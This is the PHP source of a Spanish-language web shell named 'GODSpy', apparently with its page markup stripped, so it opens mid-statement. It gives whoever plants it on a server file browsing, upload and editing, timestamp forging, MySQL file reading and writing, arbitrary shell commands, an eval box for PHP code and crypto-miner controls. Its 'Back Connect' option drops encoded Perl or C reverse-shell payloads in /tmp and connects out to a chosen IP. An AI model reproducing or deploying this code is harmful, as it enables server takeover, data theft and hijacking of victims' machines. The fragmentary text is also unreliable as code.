$v) $$k = SR($v); $qf = array('a' => SQF.'connect','c' => SQF.'close','e' => SQF.'error','f' => SQF.'fetch_assoc','i' => SQF.'get_server_info', 'l' => SQF.'affected_rows','m' => SQF.'num_rows','n' => SQF.'num_fields','r' => SQF.'fetch_row','s' => SQF.'select_db'); //pasa(); $CHAR = $charset ? ($charset=='utf8'?'utf-8':'iso-8859-1') : 'iso-8859-1'; if($charset) header("content-Type: text/html; charset=".$CHAR); $cwd = ($dir&&@is_dir($dir)) ? FixDS($dir) : F_ROOT; ob_start(); if($haz=='phpinfo'){ if(isF('phpinfo')){ phpinfo(); die('

Back to GodSpy

'); } else $em='Funcion phpinfo() Deshabilitada'; } if($doing=='downfile'&&$thefile){ if(!@file_exists($thefile)){ $em = 'El archivo que intentas descargar no existe'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); die; } } if($doing=='downrar'){ if($dl){ $dfiles=''; foreach($dl as $filepath => $value) $dfiles.=$filepath.','; $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode(',',$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.SVH.'_'.basename($cwd).'.tar.gz'); echo $code; die; } else { $em = 'Please select file(s)'; } } if($doing=='backupmysql'){ if(!$table) $em='Error: Selecciona una tabla'; else { $lnk=db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $table = array_flip($table); if($result = q("SHOW tables",$lnk)){ if($svf){ if($fp = @fopen($path,'w')){ while($currow = $qf['r']($result)){if(isset($table[$currow[0]])) sqldump($currow[0], $fp);} fclose($fp); $fileurl = str_replace(S_ROOT,'/',$path); $ok = 'El backup de la Base de Datos fue guardado en: '.$path.''; } else $em = 'Error: La ruta especificada no tiene permisos de escritura.'; } else { $filename = SVH.'_'.$dbname.'.sql'; header('Content-type: text/sql'); header('Content-Disposition: attachment; filename='.$filename); while($currow = $qf['r']($result)){if(isset($table[$currow[0]])) sqldump($currow[0]);} $qf['c']($lnk); die; } } else $em='Error: '.$qf['e']($lnk); if($lnk) $qf['c']($lnk); } } if($doing=='mysqldown'){ $down = 0; $lnk = db($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if(($res = q("SELECT load_file('$mysqldlfile');", $lnk))&&($row = @$qf['r']($res))){ if(empty($row[0])) $em .= 'Error al leer archivo con load_file: MySQL retorna NULL
'; else $down = 1; } else $em .= 'LOAD_FILE Error: '.$qf['e']($lnk).'
'.(!$dbname?'Intenta de nuevo espeificando una DB.
':''); if(!$down&&$dbname){ $tm = time(); q("DROP TABLE IF EXISTS tmp_god;",$lnk); q("CREATE TABLE tmp_god (content LONGBLOB NOT NULL);",$lnk); q("LOAD DATA LOCAL INFILE '$mysqldlfile' INTO TABLE tmp_god FIELDS TERMINATED BY '__god_{$tm}_eof__' ESCAPED BY '' LINES TERMINATED BY '__god_{$tm}_eof__';",$lnk); if(($res = q("SELECT content from tmp_god", $lnk))&&($row = @$qf['r']($res))) empty($row[0]) ? $em.='Error con tabla Temporal: MySQL retorna NULL
' : $down = 1; else $em .= 'Error usando tabla temporal: '.$qf['e']($lnk); q("DROP TABLE tmp_god",$lnk); } if($down){ $qf['c']($lnk); $file = pathinfo($mysqldlfile); header('Content-type: application/x-'.$file['extension']); header('Content-Disposition: attachment; filename='.$file['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; die; } else $qf['c']($lnk); } if(!$haz&&$ir&&$new){ if($ir=='newf'){ $opfile = $cwd.basename($new); if(file_exists($opfile)&&!is_dir($opfile)) $haz = 'editfile'; elseif(SV($opfile,'')){$haz = 'editfile';$ok="Archivo $opfile creado correctamente. Ahora puedes editarlo.";} else $em='Error: No fue posible crear el archivo.'; } if($ir=='newdir'){ $new = $cwd.$new; if(file_exists($new)) $em="Error: El directorio $new ya existe"; elseif(@mkdir($new,0777)){@chmod($new,0777);$ok="Directorio $new creado correctamente.";} else $em="No fue posible crear el directorio."; } if($ir=='newperm'){ if(!file_exists($cwf)) $em="Error: El archivo $cwf no existe."; else @chmod($cwf, octdec($new)) ? $ok="CHMOD $cwf: Permisos cambiados corecctamente a $new." : $em="CHMOD $new: Error, acceso denegado."; } if($ir=='copy'){ $new = (basename($new)==$new) ? $cwd.$new : $new; if(file_exists($new)||!file_exists($cwf)) $em='Error: El archivo de destino ya existe o el original no existe.'; else @copy($cwf, $new) ? $ok=basename($cwf).' fue copiado a '.$new : $em='Copiar '.basename($cwf).': Error, acceso denegado.'; } if($ir=='rename'){ $new = $cwd.$new; if(file_exists($new)||!file_exists($cwf)) $em='Error: '.$new.' ya existe o el archivo original no existe'; else @rename($cwf,$new) ? $ok='Archivo '.basename($cwf).' renombrado a '.basename($new).' correctamente' : $em='RENAME Error: Acceso denegado.'; } if($ir=='newtime'){ $time = 0; if(preg_match('#^[0-9]+-[0-9]+-[0-9]+ [0-9]+\:[0-9]+\:[0-9]+$#',$new)) $time = strtotime($new); else {$new=(basename($new)==$new)?$cwd.$new:$new;if(@file_exists($new)) $time = filemtime($new);} if($time&&file_exists($cwf)) @touch($cwf,$time) ? $ok="Fecha de creación cambiada correctamente." : $em='Error: Permiso denegado.'; else $em='Error: El formato de fecha especificado es incorrecto o el archivo de referencia no existe.'; } } if($haz=='sqlf'||$haz=='sqladmin'){ $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1'); !isset($dbhost)&&$dbhost = '127.0.0.1'; !isset($dbuser)&&$dbuser = 'root'; !isset($dbport)&&$dbport = '3306'; } ?> <?php echo SVH;?> | GODSpy
GODSpy Ver: Tu IP: Server: '.SVH.' ('.@gethostbyname($_SERVER['SERVER_NAME']).')'.(isF('php_uname')?' - '.@php_uname():'');?>
Safe Mode: Salir | File Manager | MySQL Manager | MySQL Upload & Download | Ejecutar Comando | PHP Variable | Eval PHP Code | Back Connect | Search Engine
'); p(''); $dirdata=array(); $filedata=array(); if($vw){ $dirdata = GetList($cwd); } else { $dirs=@opendir($cwd); while($file=@readdir($dirs)){ $filepath=$cwd.$file; if(@is_dir($filepath)){ $dirdb['filename']=htm($file); $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['flink']=htm($filepath); $dirdata[]=$dirdb; } else { $filedb['filename']=htm($file); $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath); $filedb['dirlink']=htm($cwd); $filedb['flink']=htm($filepath); $filedb['link']=htm(str_replace(S_ROOT,'/',$filepath)); $filedata[]=$filedb; } } unset($dirdb,$filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = '0'; foreach($dirdata as $key => $dirdb){ if($dirdb['filename']!='..'&&$dirdb['filename']!='.'){ $tbg = bg(); $dirjs = str_replace(''',"\'",$dirdb['flink']); p(''); p(''); p(''); p(''); p(''); p('"); p('"); p(''); $dir_i++; } else { if($dirdb['filename']=='..'){ p(''); p(''); p(''); } } } p(''); p(''); noseve('haz','file'); noseve('thefile'); noseve('doing'); noseve('dir',$cwd); $file_i = '0'; foreach($filedata as $key => $filedb){ if($filedb['filename']!='..'&&$filedb['filename']!='.'){ $thisbg = bg(); $filjs = str_replace(''',"\'",$filedb['flink']); $dirjs = str_replace(''',"\'",$filedb['dirlink']); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $file_i++; } } p(''); p('
"); $em&&m($em,'e');$ok&&m($ok); if(!$haz||$haz=='file'){ if($doing=='deldir'&&$thefile){ if(!file_exists($thefile)) m("El Directorio $thefile no existe.",'e'); else deltree($thefile) ? m('El Directorio '.basename($thefile).' fue eliminado.') : m('Eliminar Directorio '.basename($thefile).': ERROR','e'); } elseif($doing=='delf'&&$thefile){ if(!file_exists($thefile)) m("Error: $thefile no existe",'e'); else @unlink($thefile) ? m("El archivo $thefile fue eliminado.") : m("Eliminar $thefile: Acceso denegado.",'e'); } elseif($doup){ if(!$_FILES['up']['name']) m('Error: Ningún archivo por subir','e'); else { $up = $_FILES['up'];$ul = $cwd.$up['name']; if(@move_uploaded_file($up['tmp_name'],$ul)) m('Archivo subido correctamente a: '.$ul); else {@unlink($up['tmp_name']);m('No fue posible subir el archivo','e');} } } elseif($edit&&$fcontent){ if(!IS_WIN) $fcontent=str_replace("\r",'',$fcontent); SV($edit, $fcontent) ? m("Archivo guardado correctamente.") : m('Error: El archivo no tiene permisos de escritura.','e'); } elseif($doing=='delfiles'){ if($dl){ $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value){ if(@unlink($filepath)) $succ++; else $fail++; } m('Eliminar '.count($dl).' archivos: OK '.$succ.' - ERROR '.$fail.'','e'); } else { m('Error: Nada que eliminar.','e'); } } formhead('donew'); noseve('ir" id="ir'); noseve('new" id="new'); noseve('cwf" id="cwf'); noseve('dir',$cwd); p(''); formhead('fileopform'); noseve('haz'); noseve('opfile'); noseve('dir'); p(''); $free = isF('disk_free_space') ? @disk_free_space($cwd) : 0; !$free&&$free = 0; $all = isF('disk_total_space') ? @disk_total_space($cwd) : 0; !$all&&$all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p('

File Manager - Espacio Libre: '.sizecount($free).' de '.sizecount($all).' ('.$used_percent.'%)

'); ?>
Directorio Actual (Writable':'r">Non-writable').', '.getChmod($cwd).')');?>
'); p('
'); p('WebRoot'); if($vw){ p(' | View All'); } else { p(' | View Writable'); } p(' | Crear Directorio | Crear Archivo'); if(IS_COM){ $obj = new COM('scripting.filesystemobject'); if($obj&&is_object($obj)){ $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); foreach($obj->Drives as $drive){ if($drive->DriveType==2){ p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } else { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } } } } p('
 NombreLast modifiedTamañoChmod / UserAcción
'.$dirdb['filename'].''.$dirdb['mtime'].'--{$dirdb['dirchmod']} / {$dirdb['dirperm']}{$dirdb['fileowner']}Del | Rename
UPIr al directorio Superior
 
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); p(''.$filedb['filechmod'].' / '.$filedb['fileperm'].''); p($filedb['fileowner'].''); p('Down | '); p('Copy | '); p('Edit | '); p('Del | Ren | '); p('Time'); p('
Pack & download selected - Delete selected'.$dir_i.' directories / '.$file_i.' files
'); } elseif($haz=='sqlf'){ if($doing=="mysqlupload"){ if(!$_FILES['up']['name']) m('Error: Ningún archivo por subir.','e'); else { $up = $_FILES['up']; if(@is_dir($savepath)) $savepath .= str_replace(' ','',$up['name']); if(@file_exists($savepath)) m('Error: El archivo de destino ya existe.','e'); else { $contents = bin2hex(GF($up['tmp_name'])); $lnk = db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); $result = q("SELECT 0x{$contents} INTO DUMPFILE '$savepath';", $lnk); $result ? m('Archivo subido correctamente a: '.$savepath) : m('Error al subir el archivo: '.$qf['e']($lnk),'e'); $qf['c']($lnk); } @unlink($up['tmp_name']); } } formhead('dbinfo','MYSQL Information'); noseve('haz','sqlf'); p('

DBHost:'); mkinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':'); mkinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:'); mkinput(array('name'=>'dbuser','size'=>15,'value'=>htm($dbuser))); p('DBPass:'); mkinput(array('name'=>'dbpass','size'=>15,'value'=>htm($dbpass))); p('DBName:'); mkinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); p('DBCharset:'); mkselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); p("

\n"); formhead('mysqlfile" enctype="multipart/form-data'); p("

MySQL Upload y Download:

\n

Se requiere que el Usuario MySQL tenga el privilegio FILE

"); p('

Guardar en (fullpath): Selecciona un archivo: Subir

'); p('

Descargar Archivos:

'); p('

Nombre de Archivo: Download

'); noseve('dbhost'); noseve('dbport'); noseve('dbuser'); noseve('dbpass'); noseve('dbname'); noseve('charset',$charset); noseve('doing'); noseve('haz','sqlf'); p(''); } elseif($haz=='sqladmin'){ foreach(array('tablename','dbname','sql_query','page','insert','update','dbpass') as $v) if(!isset($$v)) $$v=''; $lnk = isset($dbhost,$dbuser,$dbpass,$connect) ? db($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport) : 0; $dbform = ''. "\n\n\n"; if($dbpass) $dbform .= "\n"; if($dbname) $dbform .= "\n"; if($charset) $dbform .= "\n"; if($insert&&$insertsql){ $keystr = $valstr = $tmp = ''; foreach($insertsql as $key => $val){ if($val){ $keystr .= $tmp.$key; $valstr .= $tmp."'".addslashes($val)."'"; $tmp = ','; } } if($keystr&&$valstr){ q("INSERT INTO $tablename ($keystr) VALUES ($valstr)",$lnk)?m('INSERT: Datos insertados correctamente'):m('Error: '.$qf['e']($lnk),'e'); } } if($update&&$insertsql&&$base64){ $valstr = $tmp = ''; foreach($insertsql as $key => $val){ $valstr .= $tmp.$key."='".addslashes($val)."'"; $tmp = ','; } if($valstr){ $where = $A[6]($base64); q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1",$lnk)?m('UPDATE: Datos Actualizados correctamente'):m('Error: '.$qf['e']($lnk),'e'); } } if($tablename&&in_array($doing,array('del','drop','optimize'))){ $where = $base64 ? ' WHERE '.$A[6]($base64) : ''; $sql = ($doing=='del'?"DELETE FROM":($doing=='drop'?"DROP":"OPTIMIZE")." TABLE"); if(q($sql." {$tablename}{$where}",$lnk)){m("$sql: Consulta ejecutada correctamente en la tabla $tablename");if(!$where)$tablename = '';} else m('Error: '.$qf['e']($lnk),'e'); } formhead('sql','MYSQL Manager'); noseve('haz','sqladmin'); p('

DBHost:');mkinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); p(':');mkinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); p('DBUser:');mkinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); p('DBPass:');mkinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); p('DBCharset:'); mkselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset)); noseve('connect',1); p(''."

\n"); if($lnk){ formhead('recordlist'); noseve('doing'); noseve('haz','sqladmin'); noseve('base64'); noseve('tablename'); p($dbform.""); formhead('setdbname'); noseve('haz','sqladmin'); p($dbform); if(!$dbname) noseve('dbname'); p(''); formhead('settable'); noseve('haz','sqladmin'); p($dbform); noseve('tablename'); noseve('page',$page); noseve('doing'); p(''); $cachetables = array(); $pagenum = 30; $page = intval($page); if($page){ $start_limit = ($page - 1) * $pagenum; } else { $start_limit = 0; $page = 1; } $QT = array(1=>'tinyint',2=>'smallint',3=>'int',4=>'float',5=>'double',7=>'timestamp',8=>'bigint',9=>'mediumint',10=>'date',11=>'time', 12=>'datetime',13=>'year',16=>'bit',252=>'text',253=>'varchar',254=>'char',246=>'decimal'); $mysqlver = $qf['i']($lnk); p('
\nMySQL $mysqlver running in $dbhost as {$dbuser}@{$dbhost} - "); $highver = ($mysqlver > '4.1')?1:0; $query = q("SHOW DATABASES",$lnk); $dbs = array(); $dbs[] = '-- Selecciona una Base de Datos --'; while($db = $qf['f']($query)){ $dbs[$db['Database']] = $db['Database']; } mkselect(array('title'=>'Base de Datos:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)')); p('
'); $tabledb = array(); if($dbname){ p('

'); p('Base de Datos: '.$dbname.' »'); if($tablename){ p(' | Tabla actual: '.$tablename.' [ Insertar | Estructura | Eliminar ]');} p('

'); MI ? $qf['s']($lnk,$dbname) : $qf['s']($dbname,$lnk); $getnumsql = '';$runquery = 0; if($sql_query){ $runquery = 1; } $allowedit = 0; if($tablename&&!$sql_query){ $sql_query = "SELECT * FROM $tablename"; $getnumsql = $sql_query; $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; $allowedit = 1; } p('
'); p('

Ejecutar consultas SQL en la DB '.$dbname.':

'); noseve('tablename', $tablename); noseve('haz','sqladmin'); p($dbform); p('

'); if($tablename||($runquery&&$sql_query)){ if($doing=='structure'){ $result = q("SHOW COLUMNS FROM $tablename",$lnk); $rowdb = array(); while($row = $qf['f']($result)){ $rowdb[] = $row; } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); foreach ($rowdb as $row){ $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); } p('
FieldTypeNullKeyDefaultExtra
'.$row['Field'].''.$row['Type'].''.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' 
'); } elseif($doing=='insert'||$doing=='edit'){ $result = q("SHOW COLUMNS FROM $tablename",$lnk); while($row = $qf['f']($result)){$rowdb[] = $row;} $rs = array(); if($doing=='insert'){ p('

Insertar datos en la tabla '.$tablename.' »

'); } else { p('

Editar datos de la tabla '.$tablename.' »

'); $where = $A[6]($base64); $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1", $lnk); $rs = $qf['f']($result); } p('
'); p($dbform); noseve('haz','sqladmin'); noseve('tablename',$tablename); p(''); foreach($rowdb as $row){ if($rs[$row['Field']]){ $value = htm($rs[$row['Field']]); } else { $value = ''; } $tbg = bg(); p(''); p(''); } if($doing=='insert'){ p(''); } else { p(''); noseve('base64', $base64); } p('
'.$row['Field'].'
'.$row['Type'].'
'); } else { $querys = preg_split("/;+(?=([^'|^\\\']*['|\\\'][^'|^\\\']*['|\\\'])*[^'|^\\\']*[^'|^\\\']$)/", $sql_query); foreach($querys as $num=>$query){ if($query){ p("

Query #{$num}: ".htm($query)."

"); switch(qy($query,$lnk)){ case 0: m('Error: '.$qf['e']($lnk),'e'); break; case 1: if(strtolower(substr($query,0,13))=='select * from'){ $allowedit = 1; } if($getnumsql){ $tatol = $qf['m'](q($getnumsql,$lnk)); $multipage = multi($tatol, $pagenum, $page, $tablename); } if(!$tablename){ $sql_line = htm(trim(str_replace(array("\r", "\n", "\t"), ' ', $query))); $sql_line = $A[0]("#/\*[^(\*/)]*\*/#i", " ", $sql_line); preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); $tablename = $matches[1][0]; } $result = q($query,$lnk); p($multipage); p(''); p(''); if($allowedit) p(''); if(MI){ while($finfo = @mysqli_fetch_field($result)){ p(''); } } else { $fieldnum = @$qf['n']($result); for($i=0;$i<$fieldnum;$i++){ $name = @mysql_field_name($result, $i); $type = @mysql_field_type($result, $i); $len = @mysql_field_len($result, $i); p(""); } } p(''); while($mn = @$qf['f']($result)){ $tbg = bg(); p(''); $where = $tmp = $b1 = ''; foreach($mn as $key=>$en){ if($en){ $where .= $tmp.$key."='".addslashes($en)."'"; $tmp = ' AND '; } $en = (strlen($en)>800)?substr($en,0,800).' [...]':$en; $b1 .= ''; } $where = base64_encode($where); if($allowedit) p(''); p($b1); p(''); unset($b1); } fr($result); p('
Acción'.$finfo->name.'
'.$QT[$finfo->type].'('.$finfo->length.')
$name
$type($len)
'.htmdb($en).'Edit | Del
'); p($multipage); break; case 2: $ar = $qf['l']($lnk); p('Affected rows: '.$ar.''); break; } } } } } else { $query = q("SHOW TABLE STATUS",$lnk); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = $qf['f']($query)){ $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table['Data_length'] = sizecount($table['Data_length']); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p(''); p(''); noseve('haz','sqladmin'); p($dbform); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if($highver){ p(''); p(''); } p(''); foreach ($tabledb as $key => $table){ $tbg = bg();$tname = $table['Name']; p(''); p(''); p(''); p(''); p(''); p(''); p(''); if($highver){ p(''); p(''); } p(''); } p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); noseve('doing','backupmysql'); p("\n
NameRowsData_lengthCreate_timeUpdate_timeEngineCollation
[TE | IN | VT | DT | OT]  '.$tname.''.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].''.$table['Update_time'].''.$table['Engine'].''.$table['Collation'].'
Total: '.$table_num.' tablas'.$table_rows.''.$data_size.' 
Save as file
"); fr($query); } } } p(''); if($lnk)$qf['c']($lnk); } elseif($haz=='bconx'){ !$yourip&&$yourip = $_SERVER['REMOTE_ADDR']; !$yourport&&$yourport = '12345'; $rvp='eNp9kVFLwzAUhd8H+w9ZLDaFSuerI8LQKkPcpK2+qHRdGlywTUqSgoX9eJO0IhXq27nn5nz3 JjlbRK2S0YHxqKGyms9aRUEqyCfVq/nMI3WJAaw6/gVtqTqlaY2BT8lRALhveVFTcFHs4WpwWGm0w6 mjbyNLbCFW6UJ+UI29dXL/8rp8t1Yj5I9x6QxWlKXEjFOdF1pwNIQCcDqBklEEYymFvALe4o3DwCFc QpmNrciZyVhqCHrWf0kptMCG7sShs3dBviaNb9vKvQFKdzcPcRaCp7t8s7XCGnmaJfH60cxw0ekZRH BOyS+l33b6vGgoR2l2u9mGAF6f97FRZ/ecTbXiJPnb6v8LDf/mNqqEov2IUWm4o9rAgtU3hSygzQ'; $rvc='eNpdUdtqAjEQfRf8h2GFktRYXV/VgogF6UWp9kmWJSbZbuhuIkkstaX/3iTb2taHITNz5nZO OlKx6sAFjK3jUl+V1+1W5zd3tH2r2YtwZ4ASTnrrSxUBqRzUVCoUHGqeGQFWUgOX3n/dZrjd+mi3II AFH3nPOnNgDsJoyrnJpQIrVUBim6ntdphmk8TU0CsgGYFHOBW1ViglAxxH+NXe8oLWsjrCBKY3+eJh vvmL7bVxHimdVhZRpyWK9wwz/G9EOOHKxsdXB17Rb4rTDMf1u3dh9E+KeAKVUKeKbtr9m4kLQlPB/c BGQPR9H4H1cnabrzeP8+k9gcVq9bjcLPPNbIUh9sgCEGJaKcEcKjgBdKYWXGK48HcTT+Bd6OIcxxiP BxiC4gB7YYw2KNn2MvgZipNIH0C8SYcaOT+bX2HUIa8+gchjkDU6Ha0Tdch7VvErDvthPK3pPYXp/3 AYQ/EmWIWS/k6qvi0TktgSejIh8PB0dxcrWKWt8B1Rs88vR2PGPQ=='; if($start&&$yourip&&$yourport&&$use){ $res=''; if($use=='perl'&&SV('/tmp/god_bc', gzuncompress($A[6]($rvp)))){ $res = god("perl /tmp/god_bc $yourip $yourport &"); } elseif(SV('/tmp/god_bc.c', gzuncompress($A[6]($rvc)))){ $res = god('gcc -o /tmp/god_bc /tmp/god_bc.c'); @unlink('/tmp/god_bc.c'); $res .= god("/tmp/god_bc $yourip $yourport &"); } $res ? m("El script intentará conectarse a: $yourip:$yourport ...\n$res") : m('Error: No fue posible crear el proceso.','e'); } formhead('bc','Back Connect'); noseve('haz','bconx');noseve('start',1); p('

Tu IP:'); mkinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Puerto:'); mkinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Usar:'); mkselect(array('name'=>'use','option'=>array('perl'=>'Perl','c'=>'C'),'selected'=>$use)); p(''."

\n"); } elseif($haz=='editfile'){ $content=''; if($opfile&&@file_exists($opfile)) $content = htm(GF($opfile)); formhead('editor','Crear / Editar Archivos'); noseve('haz','file'); noseve('dir',$cwd); mkinput(array('title'=>'Estás editando/creando el archivo:','name'=>'edit','value'=>$opfile,'newline'=>1)); p('

Contenido

'); formfoot(); } elseif($haz=='evl'){ formhead('evl','Eval PHP Code'); p('   '); noseve('haz','evl'); p('

\n"); if($code){ if($ri) RI($code); else { $code = $A[0]('#^<\?(php)?|\?>$#i','',$code); p('
');ob_start();eval($code);$c=@ob_get_contents();ob_end_clean();p(htm($c).'
'); unset($code,$c); } } } elseif($haz=='sh'){ if($cwd != F_ROOT) @chdir($cwd); if($ex&&preg_match('#^cd[ ]+([^;& ]+)$#i',$ex,$nwd)){@chdir($nwd[1]);$cwd=FixDS(@getcwd());$ex='';} formhead('sh','Ejecutar Comando: '.$cwd); noseve('haz','sh');noseve('dir',$cwd); echo ' '; p('Listar Procesos | Buscar Miner | Cerrar Miner | Ejecutar Miner | Get CPU | Get Arquitectura | Get SystemInfo
'); mkinput(array('name'=>'ex','value'=>htm($ex))); p(''."\n
"); if($ex){ m("
".htm(god($ex))."
",'e'); } } elseif($haz=='env'){ $ups=@ini_get('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); $info = array( 1 => array('Server Time',date('Y/m/d h:i:s')), 2 => array('Server Domain',$_SERVER['SERVER_NAME']), 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS',PHP_OS), 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), 8 => array('PHP run mode',strtoupper(php_sapi_name())), 9 => array('The file path',$_SERVER['SCRIPT_FILENAME']), 10 => array('PHP Version',PHP_VERSION), 11 => array('PHPINFO',(isF('phpinfo') ? 'Ver phpinfo()' : 'No')), 12 => array('Safe Mode',getcfg('safe_mode')), 13 => array('Administrator',$adminmail), 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), 15 => array('enable_dl',getcfg('enable_dl')), 16 => array('display_errors',getcfg('display_errors')), 17 => array('register_globals',getcfg('register_globals')), 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), 19 => array('Open Basedir',getcfg('open_basedir')), 20 => array('memory_limit',getcfg('memory_limit')), 21 => array('post_max_size',getcfg('post_max_size')), 22 => array('upload_max_filesize',$ups), 23 => array('max_execution_time',getcfg('max_execution_time').' seg.'), 24 => array('disable_functions',@ini_get('disable_functions')), ); if($phpvarname){ m($phpvarname .' : '.getcfg($phpvarname)); } formhead('server','Server environment'); noseve('haz','env'); mkinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); formfoot(); $hp = array(0=> 'Server', 1=> 'PHP'); for($a=0;$a<2;$a++){ p('

'.$hp[$a].' »

'); p(''); } } elseif($haz=='se'){ $q = isset($q) ? $q : ''; formhead('se','Search Engine'); noseve('haz','se');noseve('start'); mkinput(array('name'=>'q','value'=>htm($q))); p(''."\n
"); if($q){ $start = isset($start) ? $start : 0; function cor($q, $i, $f){ if(!stristr($q, $i)) return false; $p = strpos($q, $i); $q = substr($q, $p); $q2 = substr($q, strlen($i)); $sp= strpos($q2, $f); $q = substr($q2, 0, $sp); return str_replace('','',substr(trim(str_replace('\n'.($start?'« Anterior ':'')); for($i=1;$i<=$n;$i++){ $x=($i-1)*10;p(' '.$i.''); } if($start<190) p(' Siguiente »');p(''); } $r = GF("http://www.google.com/search?hl=es&q=".urlencode($q)."&start=$start"); if($r){ $r=strip_tags($A[0]('#|#siU','',$r),'

  1. '); preg_match('#([0-9\.,]+) resultados#i',$r, $tr); if($r=cor($r,'
      ','
    ')){ m("$tr[1] Resultados de ".htm($q).($start?' - Página '.substr($start,0,-1):''));@ob_flush();@flush(); $r=$A[0]('# (class|id|style|on[a-z]+)=[^<>]+|( \[ | - )?
    ]+>(En caché|Traducir esta página|similares|vista rápida|Versión en HTML|este sitio puede dañar tu equipo\.|[a-z]+ más resultados de [a-z0-9\sá]+)( - | \])?| -| href="?/(url|search)\?q=[^>]*#i','',$A[0](array('#]*>]*>$r\n".''); ($tr>=191) ? pag(19) : pag(intval($tr/10)); } else m('Sin resultados.','e'); } else m('Error: 403 Prohibido o sin resultados','e'); } } else { m('Undefined Action'); } @ob_end_flush(); ?>
    Copyright ©2009- GOD Hacker All Rights Reserved.
    $m\n";} function multi($num, $perpage, $curpage, $tablename){ $multipage = ''; if($num > $perpage){ $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page > $pages){ $from = 1; $to = $pages; } else { $from = $curpage - $offset; $to = $curpage + $page - $offset - 1; if($from < 1){ $to = $curpage + 1 - $from; $from = 1; if(($to - $from) < $page&&($to - $from) < $pages){ $to = $page; } } elseif($to > $pages){ $from = $curpage - $pages + $to; $to = $pages; if(($to - $from) < $page&&($to - $from) < $pages){ $from = $pages - $page + 1; } } } $multipage = ($curpage - $offset > 1&&$pages > $page ? '
    First ' : '').($curpage > 1 ? 'Prev ' : ''); for($i = $from; $i <= $to; $i++){ $multipage .= $i==$curpage ? $i.' ' : '['.$i.'] '; } $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); $multipage = $multipage ? '

    Pages: '.$multipage.'

    ' : ''; } return $multipage; } function pasa(){ global $haz,$ctr; $gp = "\x78\x69\x43\x47\x32\x52\x63\x67\x58\x70\x37\x30\x49\x68\x7a\x38\x53\x68\x6f\x31\x6a\x51"; if($haz=='salir'){ setcookie('godid', '', -1,'/'); p('

    GoodBye: Login Again

    '); die; } if($haz=='pasa'){ echo pe(pe($gp))."
    "; if(pe($gp)==pe(pe($ctr))){ setcookie('godid', pe(pe($ctr)), time() + 86400, '/'); p(''); p('Welcome Back GOD'); die; } } if(!isset($_COOKIE['godid'])||$_COOKIE['godid'] != pe($gp)){ ?>
    Password:
